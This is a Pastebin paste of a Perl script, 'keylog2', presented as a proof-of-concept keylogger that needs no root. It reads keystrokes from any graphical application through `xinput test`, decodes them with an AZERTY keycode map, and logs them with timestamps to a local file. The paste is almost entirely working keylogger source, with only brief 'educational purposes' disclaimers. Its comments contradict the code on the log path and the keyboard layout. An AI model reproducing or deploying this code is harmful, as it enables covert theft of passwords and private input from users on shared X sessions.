Advertisement
Guest User

Untitled

a guest
Nov 17th, 2011
215
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 7.66 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2.  
  3. # keylog2 - a rootless keylogger that only requires an X server and the xinput
  4. # command (provided by xorg-x11-apps on Fedora). You'll also need to install
  5. # the Perl module IO::Pty::Easy.
  6. #
  7. # Unlike my first keylogger proof-of-concept, this one doesn't require root
  8. # privileges because it just uses the X Window System. Therefore it only
  9. # catches key inputs made to graphical programs on the same X server that the
  10. # keylogger runs on.
  11. #
  12. # How it works: running `xinput list` lists all your X input devices. There's
  13. # a keyboard device named "AT (something)", mine is "AT Translated Set 2
  14. # keyboard". Get the ID from the line that says this and then run
  15. # `xinput test <id>` and it will start dumping keystroke information as the
  16. # user types keys into ANY graphical app.
  17. #
  18. # I mapped the QWERTY keyboard set using my own keyboard by trial-and-error,
  19. # so no guarantees it will work for everybody. This is just another proof of
  20. # concept anyway, and shouldn't be used for malicious purposes.
  21. #
  22. # Under the default configuration, the log file is written to /tmp/.keylog
  23. # and only logs key release events, except for modifier keys (Shift, Ctrl,
  24. # Alt, and Super (Windows key)) where it will also log the Key Down event
  25. # (so Alt-Tabbing makes more sense in the log, for example). You can
  26. # optionally configure it to log EVERY key down event if you'd like, though.
  27. #
  28. # Again, this is just a proof of concept and should be used for educational
  29. # purposes only, and not for anything malicious.
  30. #
  31. # --Kirsle
  32. # http://sh.kirsle.net/
  33.  
  34. use strict;
  35. use warnings;
  36. use IO::Pty::Easy;
  37. use IO::Handle;
  38.  
  39. ##########################
  40. # Configuration          #
  41. ##########################
  42.  
  43. my $conf = {
  44.     # Log files to write keys to
  45.     logfile => 'klog_'.time().'.txt',
  46.  
  47.     # By default only key-releases are logged. Log key-presses too?
  48.     log_keydown => 0,
  49. };
  50.  
  51. ##########################
  52. # End Configuration      #
  53. ##########################
  54.  
  55. # X11 display.
  56. $ENV{DISPLAY} ||= ":0.0";
  57.  
  58. # Make sure we have xinput.
  59. if (system("which xinput > /dev/null") != 0) {
  60.     print "You require the `xinput` command for this keylogger to work.\n";
  61.     exit(1);
  62. }
  63.  
  64. # Get the input list.
  65. my @inputs = `xinput list`;
  66.  
  67. # Find the AT keyboard.
  68. my $id;
  69. foreach my $line (@inputs) {
  70.     $line =~ s/^[\s\t]+//g;
  71.     $line =~ s/[\s\t]+$//g;
  72.     $line =~ s/[\x0D\x0A]+//g;
  73.     next unless length $line;
  74.     if ($line =~ /keyboard/i && $line =~ /. AT/) {
  75.         ($id) = ($line =~ /id=(\d+)/)[0];
  76.     }
  77. }
  78. if (!defined $id) {
  79.     print "Failed to find \"AT\" keyboard ID from `xinput list`!\n";
  80.     exit(1);
  81. }
  82.  
  83. print "Keyboard ID: $id\n";
  84.  
  85. # Track state of modifier keys.
  86. our %mod = (
  87.     'shift' => 0,
  88.     'ctrl'  => 0,
  89.     'alt'   => 0,
  90.     'super' => 0,
  91. );
  92.  
  93. # Begin watching. Make a pseudo TTY for this so xinput believes we're a shell.
  94. my $tty = IO::Pty::Easy->new();
  95. print "Watching `xinput test $id`\n";
  96. $tty->spawn("xinput test $id");
  97.  
  98. while ($tty->is_active) {
  99.     my $data = $tty->read();
  100.     my @lines = split(/\n/, $data);
  101.     foreach my $line (@lines) {
  102.         # Key event?
  103.         chomp $line;
  104.         if ($line =~ /^key\s+(press|release)\s+(\d+)\s*?$/i) {
  105.             event($1, $2);
  106.         }
  107.     }
  108. }
  109.  
  110. # Handle key events
  111. sub event {
  112.     my ($event,$sym) = @_;
  113.  
  114.     # Only AZERTY keyboards supported.
  115.     my $key = kbd_azerty($event,$sym);
  116.  
  117.     print "[$sym] $event: " . ($key eq " " ? "{space}" : $key) . "\n";
  118.  
  119.     # Log it?
  120.     if ($event eq "release" || ($event eq "press" && $conf->{log_keydown}) ||
  121.     ($key =~ /^\{(Shift|Ctrl|Alt|Altgr|Super)\}$/)) {
  122.         my @time = localtime(time());
  123.         my $ts = join(" ",
  124.             join("-",
  125.                 sprintf("%4d", $time[5] + 1900),
  126.                 sprintf("%2d", $time[4] + 1),
  127.                 sprintf("%2d", $time[3]),
  128.             ),
  129.             join(":",
  130.                 sprintf("%2d", $time[2]),
  131.                 sprintf("%2d", $time[1]),
  132.                 sprintf("%2d", $time[0]),
  133.             ),
  134.         );
  135.  
  136.         open (my $log, ">>", $conf->{logfile});
  137.         print $log "[$ts] "
  138.             . ($event eq "release" ? "<R>" : "<P>")
  139.             . " "
  140.             . ($key eq " " ? "{space}" : $key)
  141.             . "\n";
  142.         close ($log);
  143.     }
  144. }
  145.  
  146. # AZERTY keysym finder
  147. sub kbd_azerty {
  148.     my ($event,$sym) = @_;
  149.  
  150.     # Modifier keys.
  151.     my %modkeys = (
  152.         50  => 'shift', # L Shift
  153.         62  => 'shift', # R Shift
  154.         37  => 'ctrl',  # L Ctrl
  155.         105 => 'ctrl',  # R Ctrl
  156.         64  => 'alt',   # L Alt
  157.         108 => 'altgr', # R Alt
  158.         133 => 'super', # L Super
  159.     );
  160.     if (exists $modkeys{$sym}) {
  161.         my $name = $modkeys{$sym};
  162.         $mod{$name} = $event eq "press" ? 1 : 0;
  163.         return "{\u$name}";
  164.     }
  165.  
  166.     # Qwerty keys.
  167.     my %keys = (
  168.         # azerty row
  169.         24 => [ 'a', 'A', 'æ', 'Æ' ], # normal, shift, alt, shift+alt key
  170.         25 => [ 'z', 'Z', 'â', 'Â' ],
  171.         26 => [ 'e', 'E', '€', '¢' ],
  172.         27 => [ 'r', 'R', 'ê', 'Ê' ],
  173.         28 => [ 't', 'T', 'þ', 'Þ' ],
  174.         29 => [ 'y', 'Y', 'ÿ', 'Ÿ' ],
  175.         30 => [ 'u', 'U', 'û', 'Û' ],
  176.         31 => [ 'i', 'I', 'î', 'Î' ],
  177.         32 => [ 'o', 'O', 'œ', 'Œ' ],
  178.         33 => [ 'p', 'P', 'ô', 'Ô' ],
  179.         34 => [ "(d) ^", "(d) ¨", "(d) ~", "(d) °" ],
  180.         35 => [ '$', '£', 'ø', 'Ø' ],
  181.         #51 => [ "\\", '|', '?', '?' ],
  182.  
  183.         # qsdf row
  184.         38 => [ 'q', 'Q', 'ä', 'Ä' ],
  185.         39 => [ 's', 'S', 'ß', '„' ],
  186.         40 => [ 'd', 'D', 'ë', 'Ë' ],
  187.         41 => [ 'f', 'F', '‘', '‚' ],
  188.         42 => [ 'g', 'G', '’', '¥' ],
  189.         43 => [ 'h', 'H', 'ð', 'Ð' ],
  190.         44 => [ 'j', 'J', 'ü', 'Ü' ],
  191.         45 => [ 'k', 'K', 'ï', 'Ï' ],
  192.         46 => [ 'l', 'L', 'ŀ', 'Ŀ' ],
  193.         47 => [ 'm', 'M', 'ö', 'Ö' ],
  194.         48 => [ 'ù', '%', "(d) ´", "Ù" ],
  195.         51 => [ '*', 'µ', '(d) `', '(d) ¯' ],
  196.         36 => "{Return}",
  197.  
  198.         # wxcv row
  199.         52 => [ 'w', 'W', '«', '“' ],
  200.         53 => [ 'x', 'X', '»', '”' ],
  201.         54 => [ 'c', 'C', '©', '®' ],
  202.         55 => [ 'v', 'V', ' ', '←' ],
  203.         56 => [ 'b', 'B', '↓', '↑' ],
  204.         57 => [ 'n', 'N', '¬', '→' ],
  205.         58 => [ ',', '?', '¿', '…' ],
  206.         59 => [ ';', '.', '×', '⋅' ],
  207.         60 => [ ':', '/', '÷', '∕' ],
  208.         61 => [ '!', '§', '¡', '−' ],
  209.  
  210.         # number row
  211.         49 => [ '²', '³', '¹', '(d) ¸' ],
  212.         10 => [ '&', '1', '(d) ˇ', '(d) ˛' ],
  213.         11 => [ 'é', '2', '~', 'É' ],
  214.         12 => [ '"', '3', '#', '(d) ˘' ],
  215.         13 => [ "'", '4', '{', '—' ],
  216.         14 => [ '(', '5', '[', '–' ],
  217.         15 => [ '-', '6', '|', '‑' ],
  218.         16 => [ 'è', '7', '`', 'È' ],
  219.         17 => [ '_', '8', '\\', '™' ],
  220.         18 => [ 'ç', '9', '^', 'Ç' ],
  221.         19 => [ 'à', '0', '@', 'À' ],
  222.         20 => [ ')', '°', ']', '≠' ],
  223.         21 => [ '=', '+', '}', '±' ],
  224.  
  225.         # space bar
  226.         65 => ' ',
  227.  
  228.         # number pad
  229.         90 => '{Num-0}',
  230.         87 => '{Num-1}',
  231.         88 => '{Num-2}',
  232.         89 => '{Num-3}',
  233.         83 => '{Num-4}',
  234.         84 => '{Num-5}',
  235.         85 => '{Num-6}',
  236.         79 => '{Num-7}',
  237.         80 => '{Num-8}',
  238.         81 => '{Num-9}',
  239.         106 => '{Num-/}',
  240.         63  => '{Num-*}',
  241.         82  => '{Num--}',
  242.         86  => '{Num-+}',
  243.         91  => '{Num-.}',
  244.  
  245.         # F keys
  246.         67 => '{F1}',
  247.         68 => '{F2}',
  248.         69 => '{F3}',
  249.         70 => '{F4}',
  250.         71 => '{F5}',
  251.         72 => '{F6}',
  252.         73 => '{F7}',
  253.         74 => '{F8}',
  254.         75 => '{F9}',
  255.         76 => '{F10}',
  256.         95 => '{F11}',
  257.         96 => '{F12}',
  258.  
  259.         # Misc
  260.         9  => '{Esc}',
  261.         22 => '{Backspace}',
  262.         77 => '{Num Lock}',
  263.         107 => '{Print Scr}',
  264.         118 => '{Insert}',
  265.         119 => '{Delete}',
  266.         110 => '{Home}',
  267.         112 => '{Pg Up}',
  268.         117 => '{Pg Dn}',
  269.         115 => '{End}',
  270.         111 => '{Up}',
  271.         116 => '{Down}',
  272.         113 => '{Left}',
  273.         114 => '{Right}',
  274.         135 => '{Menu}',
  275.         23  => '{Tab}',
  276.         66  => '{Caps Lock}',
  277.     );
  278.  
  279.     if (exists $keys{$sym}) {
  280.         if (ref($keys{$sym})) {
  281.             print "(shift key: $mod{shift})\n";
  282.             print "(alt key: $mod{alt})\n";
  283.             if ($mod{shift} && !$mod{altgr}) {
  284.                 return $keys{$sym}->[1];
  285.             }
  286.             elsif ($mod{altgr} && !$mod{shift}) {
  287.                 return $keys{$sym}->[2];
  288.             }
  289.             elsif ($mod{altgr} && $mod{shift}) {
  290.                 return $keys{$sym}->[3];
  291.             }
  292.             else {
  293.                 return $keys{$sym}->[0];
  294.             }
  295.         }
  296.         return $keys{$sym};
  297.     }
  298.     else {
  299.         return "{Unknown: $sym}";
  300.     }
  301. }
  302.  
  303.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement